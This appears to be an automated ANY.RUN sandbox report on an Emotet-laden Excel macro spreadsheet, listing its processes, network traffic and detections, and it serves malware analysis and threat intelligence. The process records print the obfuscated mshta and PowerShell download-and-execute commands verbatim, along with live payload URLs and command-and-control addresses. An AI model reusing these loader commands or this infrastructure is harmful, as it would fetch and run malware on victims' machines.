File name:

2C836DB189DFB4BC5BCDD2E75158E8C25FFB40C2

Full analysis: https://app.any.run/tasks/705030ef-3ffd-406f-aa4c-928de3d857a5
Verdict: Malicious activity
Threats:

Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns.

Analysis date: January 24, 2022, 21:41:47
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros40
loader
trojan
emotet-doc
emotet
Indicators:
MIME: application/vnd.ms-excel
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Author: xXx, Last Saved By: xXx, Name of Creating Application: Microsoft Excel, Create Time/Date: Mon Jan 24 14:50:55 2022, Last Saved Time/Date: Mon Jan 24 15:24:17 2022, Security: 0
MD5:

9B6B3FBFE7C04E839995635FD9B0AF90

SHA1:

2C836DB189DFB4BC5BCDD2E75158E8C25FFB40C2

SHA256:

9FE5535425D6EFBB455AE7391D794518574EEDEEFA8EFF4C85382D2B7A1B8DFF

SSDEEP:

3072:AH+Hyms/k3hbdlylKsgqopeJBWhZFGkE+cMLxAAIixe53lGvFTQ3IzxgdrvxpU0f:e+Hyms/k3hbdlylKsgqopeJBWhZFVE+i

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  • MALICIOUS

    • Unusual execution from Microsoft Office

      • EXCEL.EXE (PID: 3368)
    • Starts CMD.EXE for commands execution

      • EXCEL.EXE (PID: 3368)
    • Executes PowerShell scripts

      • mshta.exe (PID: 2828)
    • Loads dropped or rewritten executable

      • rundll32.exe (PID: 2948)
      • rundll32.exe (PID: 1032)
      • SearchProtocolHost.exe (PID: 3776)
      • rundll32.exe (PID: 3648)
      • rundll32.exe (PID: 2112)
    • Connects to CnC server

      • rundll32.exe (PID: 2112)
    • Changes the autorun value in the registry

      • rundll32.exe (PID: 2112)
  • SUSPICIOUS

    • Reads default file associations for system extensions

      • EXCEL.EXE (PID: 3368)
      • SearchProtocolHost.exe (PID: 3776)
    • Checks supported languages

      • cmd.exe (PID: 2452)
      • mshta.exe (PID: 2828)
      • powershell.exe (PID: 3680)
      • cmd.exe (PID: 2908)
    • Starts MSHTA.EXE for opening HTA or HTMLS files

      • cmd.exe (PID: 2452)
    • Reads Microsoft Outlook installation path

      • mshta.exe (PID: 2828)
    • Reads the computer name

      • mshta.exe (PID: 2828)
      • powershell.exe (PID: 3680)
    • Executable content was dropped or overwritten

      • powershell.exe (PID: 3680)
      • rundll32.exe (PID: 1032)
    • Reads Environment values

      • powershell.exe (PID: 3680)
    • Drops a file with a compile date too recent

      • powershell.exe (PID: 3680)
      • rundll32.exe (PID: 1032)
    • Starts CMD.EXE for commands execution

      • powershell.exe (PID: 3680)
    • Starts itself from another location

      • rundll32.exe (PID: 2948)
    • Uses RUNDLL32.EXE to load library

      • rundll32.exe (PID: 1032)
      • rundll32.exe (PID: 2948)
      • cmd.exe (PID: 2908)
      • rundll32.exe (PID: 3648)
    • Application launched itself

      • rundll32.exe (PID: 1032)
      • rundll32.exe (PID: 3648)
  • INFO

    • Reads internet explorer settings

      • mshta.exe (PID: 2828)
    • Reads the computer name

      • EXCEL.EXE (PID: 3368)
      • rundll32.exe (PID: 1032)
      • rundll32.exe (PID: 2112)
    • Checks supported languages

      • EXCEL.EXE (PID: 3368)
      • rundll32.exe (PID: 2948)
      • rundll32.exe (PID: 1032)
      • rundll32.exe (PID: 2112)
      • rundll32.exe (PID: 3648)
    • Creates files in the user directory

      • EXCEL.EXE (PID: 3368)
    • Checks Windows Trust Settings

      • powershell.exe (PID: 3680)
      • rundll32.exe (PID: 2112)
    • Reads Microsoft Office registry keys

      • EXCEL.EXE (PID: 3368)
    • Reads settings of System Certificates

      • rundll32.exe (PID: 2112)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.xls | Microsoft Excel sheet (78.9)

EXIF

FlashPix

HeadingPairs:
  • Worksheets
  • 2
  • Excel 4.0 Macros
  • 1
TitleOfParts:
  • Time Card
  • Sheet1
  • XXL
HyperlinksChanged: No
SharedDoc: No
LinksUpToDate: No
ScaleCrop: No
AppVersion: 16
Company: -
CodePage: Windows Cyrillic
Security: None
ModifyDate: 2022:01:24 15:24:17
CreateDate: 2022:01:24 14:50:55
Software: Microsoft Excel
LastModifiedBy: xXx
Author: xXx
No data.
screenshotscreenshotscreenshot
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Total processes
48
Monitored processes
10
Malicious processes
6
Suspicious processes
2

Behavior graph

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start excel.exe no specs cmd.exe no specs mshta.exe powershell.exe searchprotocolhost.exe no specs cmd.exe no specs rundll32.exe no specs rundll32.exe rundll32.exe no specs rundll32.exe

Process information

PID
CMD
Path
Indicators
Parent process
1032C:\Windows\system32\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServerC:\Windows\system32\rundll32.exe
rundll32.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows host process (Rundll32)
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\rundll32.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\imagehlp.dll
2112C:\Windows\system32\rundll32.exe "C:\Users\admin\AppData\Local\Okwmdhigs\wtnnuogd.mex",DllRegisterServerC:\Windows\system32\rundll32.exe
rundll32.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows host process (Rundll32)
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\rundll32.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\usp10.dll
c:\windows\system32\lpk.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
2452cmd /c ms^ht^a ht^t^p:/^/0x^5cf^f^39c^3^/^sec^/^se4.htmlC:\Windows\system32\cmd.exeEXCEL.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
2828mshta http://0x5cff39c3/sec/se4.htmlC:\Windows\system32\mshta.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft (R) HTML Application host
Exit code:
0
Version:
11.00.9600.16428 (winblue_gdr.131013-1700)
Modules
Images
c:\windows\system32\mshta.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\api-ms-win-downlevel-version-l1-1-0.dll
c:\windows\system32\version.dll
2908"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyStringC:\Windows\system32\cmd.exepowershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
2948C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyStringC:\Windows\SysWow64\rundll32.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows host process (Rundll32)
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\rundll32.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\usp10.dll
c:\windows\system32\imagehlp.dll
3368"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /ddeC:\Program Files\Microsoft Office\Office14\EXCEL.EXEExplorer.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Excel
Exit code:
0
Version:
14.0.6024.1000
Modules
Images
c:\windows\system32\ntdll.dll
c:\program files\microsoft office\office14\excel.exe
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
3648C:\Windows\system32\rundll32.exe "C:\Users\admin\AppData\Local\Okwmdhigs\wtnnuogd.mex",ivzziKWdutbC:\Windows\system32\rundll32.exerundll32.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows host process (Rundll32)
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\rundll32.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\imagehlp.dll
c:\windows\system32\msvcrt.dll
3680"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://92.255.57.195/sec/se4.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
mshta.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
3776"C:\Windows\system32\SearchProtocolHost.exe" Global\UsGthrFltPipeMssGthrPipe2_ Global\UsGthrCtrlFltPipeMssGthrPipe2 1 -2147483646 "Software\Microsoft\Windows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:\ProgramData\Microsoft\Search\Data\Temp\usgthrsvc" "DownLevelDaemon" C:\Windows\system32\SearchProtocolHost.exeSearchIndexer.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Microsoft Windows Search Protocol Host
Exit code:
0
Version:
7.00.7601.24542 (win7sp1_ldr_escrow.191209-2211)
Modules
Images
c:\windows\system32\searchprotocolhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
Total events
8 809
Read events
8 650
Write events
142
Delete events
17

Modification events

(PID) Process:(3368) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
Operation:writeName:=~>
Value:
3D7E3E00280D0000010000000000000000000000
(PID) Process:(3368) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
Off
(PID) Process:(3368) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1041
Value:
Off
(PID) Process:(3368) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1046
Value:
Off
(PID) Process:(3368) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1036
Value:
Off
(PID) Process:(3368) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1031
Value:
Off
(PID) Process:(3368) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1040
Value:
Off
(PID) Process:(3368) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1049
Value:
Off
(PID) Process:(3368) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:3082
Value:
Off
(PID) Process:(3368) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1042
Value:
Off
Executable files
2
Suspicious files
10
Text files
1
Unknown types
4

Dropped files

PID
Process
Filename
Type
3368EXCEL.EXEC:\Users\admin\AppData\Local\Temp\CVR4E1D.tmp.cvr
MD5:
SHA256:
3368EXCEL.EXEC:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\index.datini
MD5:
SHA256:
2828mshta.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\PO2HN1X2\se4[1].htmbinary
MD5:
SHA256:
3680powershell.exeC:\Users\Public\Documents\ssd.dllexecutable
MD5:
SHA256:
3368EXCEL.EXEC:\Users\admin\Desktop\2C836DB189DFB4BC5BCDD2E75158E8C25FFB40C2.xlsdocument
MD5:
SHA256:
2112rundll32.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157binary
MD5:
SHA256:
1032rundll32.exeC:\Users\admin\AppData\Local\Okwmdhigs\wtnnuogd.mexexecutable
MD5:
SHA256:
2112rundll32.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506binary
MD5:
SHA256:
3368EXCEL.EXEC:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\2C836DB189DFB4BC5BCDD2E75158E8C25FFB40C2.xls.LNKlnk
MD5:
SHA256:
3368EXCEL.EXEC:\Users\admin\AppData\Local\Temp\~DFBEA6F4D5306461E2.TMPgmc
MD5:
SHA256:
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HTTP(S) requests
5
TCP/UDP connections
9
DNS requests
2
Threats
8

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3680
powershell.exe
GET
200
31.31.196.8:80
http://firstfitschool.com/83wg6z/oUCHXJmm/
RU
executable
676 Kb
malicious
2828
mshta.exe
GET
200
92.255.57.195:80
http://92.255.57.195/sec/se4.html
RU
binary
10.9 Kb
malicious
3680
powershell.exe
GET
200
92.255.57.195:80
http://92.255.57.195/sec/se4.png
RU
text
1.14 Kb
malicious
2112
rundll32.exe
GET
200
93.184.221.240:80
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?8427c2e101578ede
US
compressed
59.9 Kb
whitelisted
2112
rundll32.exe
GET
200
93.184.221.240:80
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?acc2cc4db1f597b5
US
compressed
4.70 Kb
whitelisted
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Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2828
mshta.exe
92.255.57.195:80
Telecom SP Ltd
RU
malicious
3680
powershell.exe
92.255.57.195:80
Telecom SP Ltd
RU
malicious
3680
powershell.exe
31.31.196.8:80
firstfitschool.com
Domain names registrar REG.RU, Ltd
RU
malicious
2112
rundll32.exe
45.138.98.34:80
malicious
2112
rundll32.exe
69.16.218.101:8080
Liquid Web, L.L.C
US
malicious
2112
rundll32.exe
93.184.221.240:80
ctldl.windowsupdate.com
MCI Communications Services, Inc. d/b/a Verizon Business
US
whitelisted

DNS requests

Domain
IP
Reputation
firstfitschool.com
  • 31.31.196.8
malicious
ctldl.windowsupdate.com
  • 93.184.221.240
whitelisted

Threats

PID
Process
Class
Message
3680
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
3680
powershell.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
3680
powershell.exe
Misc activity
ET INFO EXE - Served Attached HTTP
2112
rundll32.exe
A Network Trojan was detected
ET CNC Feodo Tracker Reported CnC Server group 17
2112
rundll32.exe
A Network Trojan was detected
ET CNC Feodo Tracker Reported CnC Server group 21
3 ETPRO signatures available at the full report
No debug info